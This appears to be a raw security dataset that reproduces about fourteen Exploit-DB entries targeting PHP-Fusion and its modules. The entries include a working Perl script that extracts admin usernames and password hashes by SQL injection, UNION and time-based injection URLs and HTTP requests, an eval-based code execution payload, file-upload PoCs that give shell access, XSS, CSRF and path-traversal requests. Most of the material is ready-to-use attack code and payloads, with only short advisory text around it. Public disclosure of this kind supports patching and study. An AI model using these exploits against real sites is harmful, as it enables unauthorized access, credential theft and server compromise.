deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29806
Description: PHP-Fusion 6.1.5 Mod Calendar_Panel - 'Show_Event.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-31
Author: UNIQUE-KEY

Exploit:
source: https://www.securityfocus.com/bid/23225/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. This issue may help the attacker gain unauthorized access.

#!/usr/bin/perl -w

# PHP-Fusion 'Calendar_Panel' Module show_event.PHP (m_month) SQL Injection
Exploit And PoC

# Type :

# SQL Injection

# Release Date :

# {2007-03-31}

# Product :

# http://php-fusion.co.uk/

# Bug :

# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

# PoC :

#
http://localhost/script/infusions/calendar_panel/show_event.php?m_month=-1/**/UNI
ON/**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_u
sers/*


use LWP::Simple;

if(!$ARGV[0] or !($ARGV[0]=~m/http/))

{
    print "\n-----------------------------------\n";
    print "PHP-Fusion 'Calendar_Panel' Module (m_month) SQL Injection Exploit\n";
    print "-----------------------------------\n";
    print "\nUniquE-Key{UniquE-Cracker}\n";
    print "UniquE[at]UniquE-Key.ORG\n";
    print "http://UniquE-Key.ORG\n";
    print "\n-----------------------------------\n";
    print "\nUsage: $0 <server/path>\n";
    print "Examp: $0 http://www.victim.com/path\n";
    print "\n-----------------------------------\n";
    exit ();
}

$address=q[/infusions/calendar_panel/show_event.php?m_month=-1/**/UNION/**/SELECT
/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_users/*];
$xmie=get($ARGV[0].$address) || die "\n# Web page not found : $!";
print "\n# Connect to : $ARGV[0]\n";
$xmie=~m/<td width='98%' colspan='4' class='textbox'>(.*?)<\/td>/ && print "\n#
Admin name : $1\n";
print "\n# Exploit Failed\n" if(!$1);
$xmie=~m/<b>(.*?)<\/b><\/font><\/td>/ && print "\n# Password : $1\n";
Exploit-DB #38406
Description: PHP-Fusion 7.02.07 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-10-06
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2015-002
- Original release date: September 18, 2015
- Last revised:  October 05, 2015
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in admin panel PHP-Fusion <= v7.02.07

II. BACKGROUND
-------------------------
PHP-Fusion is a lightweight open source content management system (CMS)
written in PHP.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application. It is possible to inject SQL
code in the variable "status" on the page "members.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0

Exploiting with true request (with mysql5):

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0'
AND substr(@@version,1,1)='5

Exploiting with false request:

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0'
AND substr(@@version,1,1)='4

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
PHP-Fusion <= v7.02.07

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
https://www.php-fusion.co.uk/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 18, 2015 1: Initial release
October 10, 2015 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 18, 2015 1: Vulnerability acquired by Manuel Garcia Cardenas
September 18, 2015 2: Send to vendor
September 24, 2015 3: Second mail to the verdor without response
October   10, 2015 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #35206
Description: PHP-Fusion 7.02.07 - SQL Injection
Type: webapps
Platform: php
Date: 2014-11-10
Author: XLabs Security

Exploit:
# Exploit Title: PHP-Fusion 7.02.07 SQL Injection
# Date: 06/11/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.php-fusion.co.uk
# Software Link:
http://ufpr.dl.sourceforge.net/project/php-fusion/PHP-Fusion%20Archives/7.x/
PHP-Fusion-7.02.07.zip
# Version: 7.02.07
# Tested on: Linux OS (Debian)
# CVE : CVE-2014-8596

 

GET
/PHP-Fusion/files/administration/submissions.php?action=2&aid=9b23a9871adc75
cd&submit_id=1[SQL Injection]&t=n HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
fusion68fF5_user=[PII_REDACTED].a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620
b17122152bf157283f; fusion68fF5_lastvisit=[PII_REDACTED];
session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;
fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive

 

and

 

GET
/PHP-Fusion/files/administration/members.php?aid=9b23a9871adc75cd&status=4[S
QL Injection] HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
fusion68fF5_user=[PII_REDACTED].a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620
b17122152bf157283f; fusion68fF5_lastvisit=[PII_REDACTED];
session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;;
fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive

 


More informations (in Portuguese Br): https://www.xlabs.com.br/blog/?p=282
Exploit-DB #36541
Description: PHP-Fusion 7.2.4 - 'downloads.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-10
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51365/info

PHP-Fusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP-Fusion 7.02.04 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/downloads.php?cat_id=[Xss]
Exploit-DB #36661
Description: PHP-Fusion 7.2.4 - 'weblink_id' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-03
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51865/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/weblinks.php?weblink_id=[Sql]
Exploit-DB #48487
Description: php-fusion 9.03.50 - 'ctype' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-19
Author: SunCSR

Exploit:
# Exploit Title: php-fusion 9.03.50 - 'ctype' SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research - ThienNV)
# Date: 2020-05-19
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: 9.03.50
# Tested On: Windows 10 + XAMPP 7.4.5

###Describe the bug
I've identified an SQL injection vulnerability in the php-fusion 9.03.50 that affects the endpoint /php-fusion/administration/comments.php and can be exploited via the ctype param.


###To Reproduce
Steps to reproduce the behavior:

1. Go to login as admin
2. Go to Content Admin -> Comments
3. Filter comments

###POC:
Send the following HTTP request (With sleep=3s):

GET /php-fusion/administration/comments.php?aid=fee32dbfde52e8ad&ctype=(select(0)from(select(sleep(3)))v)/*'%2b(select(0)from(select(sleep(3)))v)%2b'%22%2b(select(0)from(select(sleep(3)))v)%2b%22*/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

Result: Server to sleep for 3+3+3=9 seconds

###Impact
An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database or extract sensitive information

### Reference
https://github.com/php-fusion/PHP-Fusion/issues/2327
Exploit-DB #48381
Description: PHP-Fusion 9.03.50 - 'Edit Profile' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-04-27
Author: Besim

Exploit:
# Exploit Title: PHP-Fusion 9.03.50 - 'Edit Profile' Arbitrary File Upload
# Date: 2020-04-24
# Author: Besim ALTINOK
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://sourceforge.net/projects/php-fusion/files/PHP-Fusion%20Archives/9.x/PHP-Fusion%209.03.50.zip/download
# Version: v9.03.50
# Tested on: Xampp
# Credit: İsmail BOZKURT and AkkuS

-------------------------------------------------------------------------------------------------
Description
---
- This system does not check the file extension when user upload photo for
avatar :). So you can upload PHP file like:

Content of the file
--
Sample PHP code: <? phpinfo(); ?>

Name of the file:
---
Sample PHP File name: tester.php

- When you want to try to upload the image to the avatar, just, try to
change the file name and content.

----------------------------------------------------------------------------------------
Vulnerable code section in the UserFieldsInput.inc
----------------------------------------------------------
    private function _setUserAvatar() {
        if (isset($_POST['delAvatar'])) {
            if ($this->userData['user_avatar'] != "" &&
file_exists(IMAGES."avatars/".$this->userData['user_avatar']) &&
is_file(IMAGES."avatars/".$this->userData['user_avatar'])) {
                unlink(IMAGES."avatars/".$this->userData['user_avatar']);
            }
            $this->data['user_avatar'] = '';
        }
        if (isset($_FILES['user_avatar']) &&
$_FILES['user_avatar']['name']) { // uploaded avatar
            if (!empty($_FILES['user_avatar']) &&
is_uploaded_file($_FILES['user_avatar']['tmp_name'])) {
                $upload = form_sanitizer($_FILES['user_avatar'], '',
'user_avatar');
                if (isset($upload['error']) && !$upload['error']) {
                    // ^ maybe use empty($upload['error']) also can but
maybe low end php version has problem on empty.
                    $this->data['user_avatar'] = $upload['image_name'];
                }
            }
        }
    }
Exploit-DB #48278
Description: PHP-Fusion 9.03.50 - 'panels.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2020-04-02
Author: Unkn0wn

Exploit:
# Exploit Title: PHP-Fusion 9.03.50 - 'panels.php' Multiple vulnerability
# Google Dork: N/A=20
# Date: 2020-04-01
# Exploit Author: Unkn0wn
# Vendor Homepage: https://www.php-fusion.co.uk
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: 9.03.50
# Tested on: Ubuntu
# CVE : N/A
---------------------------------------------------------
Code Execution:
This vulnerabilty in "add_panel_form()" function.
in line 527 we can see "eval" tag:
*
eval("?>".stripslashes($_POST['panel_content'])."<?php ");
*
and to this funcation in line 528 - 530 return us payload:
*
$eval =3D ob_get_contents();
                    ob_end_clean();
                    echo $eval;
=09=09=09=09=09
*
Demo:
http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2=
2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4

POST DATA:
fusion_token=3D[PII_REDACTED]-30dc735031f57e89268287bb176e78b092e156dd32a583c=
f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_=
name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti=
on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan=
el_content=3D;"Code Execution Payload"&panel_access=3D0&panel_languages[]=
=3DEnglish&panel_save=3DPreview Panel
----------------------------

Cross site-scripting:
In line 532  with POST DATA prin"t panel_content:
"
echo "<p>".nl2br(parse_textarea($_POST['panel_content'], FALSE, FALSE))."</=
p>\n";
"

Demo:
http://localhost/PHP-Fusion/files/administration/panels.php?aid=3Dae28e84e2=
2e900fb&section=3Dpanelform&action=3Dedit&panel_id=3D4

POST DATA:
fusion_token=3D[PII_REDACTED]-30dc735031f57e89268287bb176e78b092e156dd32a583c=
f191c7dd30c2d99e9&form_id=3Dpanel_form&fusion_PmbaJ2=3D&panel_id=3D4&panel_=
name=3DWelcome Message&panel_filename=3Dnone&panel_side=3D2&panel_restricti=
on=3D2&panel_url_list=3D&panel_display=3D0&panel_content-insertimage=3D&pan=
el_content=3D;"<script>alert('Unkn0wn')</script>"&panel_access=3D0&panel_la=
nguages[]=3DEnglish&panel_save=3DPreview Panel

----------------------------------------------------------
# Contact : 0x9a@tuta.io
# Visit: https://t.me/l314XK205E
# @ 2010 - 2020
# Underground Researcher
Exploit-DB #37466
Description: PHP-Fusion Advanced MP3 Player Infusion - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-28
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54228/info

PHP-Fusion Advanced MP3 Player Infusion is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Advanced MP3 Player Infusion 2.01 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php.mp3";

$ch = curl_init("http://http://www.example.com/php-fusion/infusions/mp3player_panel/upload.php?folder=/php-fusion/infusions/mp3player_panel/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://http://www.example.com/php-fusion/infusions/mp3player_panel/lo.php.mp3

lo.php.mp3
<?php
phpinfo();
?>
Exploit-DB #49426
Description: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)
Type: webapps
Platform: php
Date: 2021-01-15
Author: Mohamed Oosman

Exploit:
# Exploit Title: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)
# Date: 2020-12-21
# Exploit Author: Mohamed Oosman B S
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/phpfusion_9_downloads.php
# Version: 9.03.90 and below
# Tested on: Windows 10
# CVE : CVE-2020-35687

1. Description:
PHP-Fusion version 9.03.90 is vulnerable to CSRF attack which leads to deletion of shoutbox messages by the attacker on behalf of the logged in victim.

2. Proof of Concept
As the requests for deleting the admin shoutbox are sent using the GET method, the CSRF attack to delete an attacker-controlled shoutbox message can be performed by having the admin visit https://TARGET.com/infusions/shoutbox_panel/shoutbox_archive.php?s_action=delete&shout_id=1 directly,
after getting to know the shout_id of the message, as it is sequential.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/infusions/shoutbox_panel/shoutbox_archive.php">
<input type="hidden" name="s&#95;action" value="delete" />
<input type="hidden" name="shout&#95;id" value="3" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Exploit-DB #24384
Description: PHP-Fusion Database Backup - Information Disclosure
Type: webapps
Platform: php
Date: 2004-07-18
Author: Ahmad Muammar

Exploit:
source: https://www.securityfocus.com/bid/10974/info

It is reported that PHP-Fusion is susceptible to a database backup information disclosure vulnerability. An anonymous remote attacker may be able to download a complete database backup from the server. Authentication would not be required.

A remote attacker may exploit this vulnerability to download the full contents of the application database. The backup includes user information and password hashes. This information could then be used in further attacks against the application. Furthermore, since the database uses the MD5 hash of passwords for authentication, and the authentication cookie directly includes both the username and the MD5 password hash, an attacker would not need to bruteforce the retrieved password hashes.

Version 4.00 was reported vulnerable. Other versions are also likely affected.

Update:
This issue is being retired due to the fact that this is not a vulnerability in the application. Configuring the Web server to restrict access to sensitive files can prevent this problem.

http://www.example.com/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql
Exploit-DB #12028
Description: PHP-fusion dsmsf Mod Downloads - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-03
Author: Inj3ct0r

Exploit:
========================================================
PHP-fusion dsmsf (module downloads) SQL Inj3ct0r Exploit
========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com
#[+] visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Product: PHP-fusion dsmsf
Site: php-fusion.co.uk


Vulnerability in the file screen.php :

if (isset($_GET['view_id'])){ 
        $result = dbquery("SELECT * FROM ".DB_DOWNLOADS." WHERE download_id=".$_GET['view_id']."");


Exploit:

screen.php?view_id=-1+union+select+version()--


---------------------------------

ThE End =]  Visit my proj3ct  :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net


# Inj3ct0r.com [2010-04-04]
Exploit-DB #10808
Description: PHP-Fusion Mod avatar_studio - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-30
Author: bonobug

Exploit:
# Tested on: Spanish version

By modifying "avatar_studio" parameter at POST data at avatar_studio.php you can retrieve all images at that dir.
Also using "avatar_select" you can add yourself a file as avatar which may not be .jpg

Proof of concept:

POST /infusions/avatar_studio/avatar_studio.php HTTP/1.1
...
Headers
...
Content-Length: XX
avatar_studio=../../../../../data&avatar_select=data.txt&avatar_save=Salvar+Avatar <-- (Spanish: 'Save avatar')

If you are trying to access to a non-existent directory it would return a php error.
Else if your file does exist it will load as normal.

When you have modified your avatar you can access to it using your "user id" as:
http://www.xxxxxxxxxxxxx.com/images/avatars/avatar[YOURUSERID].EXTENSION
Exploit-DB #8186
Description: PHP-Fusion Mod Book Panel - 'bookid' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-09
Author: elusiven

Exploit:
/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\
+                                                                                                                       +
+  |----------------------------------------------------------------|                                                   +
+  | PHP-Fusion Mod - Book Panel Remote SQL Injection Vulnerability |                                                   +
+  |----------------------------------------------------------------|                                                   +
+                                                                                                                       +
+   [-] ...Cos co robie z czystej pasji, cos co lubie i czym sie fascynuje :-)                                          +
+                                                                                                                       +
+  |--------------------------------|                                                                                   +
+  | Author: elusiven from Poland ! |                                                                                   +
+  | Contact: elusivenpl@gmail.com  |                                                                                   +
+  | Greetings: Fusi0n Group        |                                                                                   +
+  |--------------------------------|                                                                                   +
+                                                                                                                       +
+   Exploit:                                                                                                            +
+                                                                                                                       +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--         +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users--     +
+                                                                                                                       +
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/

/join #wyjadacze on irc.quakenet.org

# milw0rm.com [2009-03-09]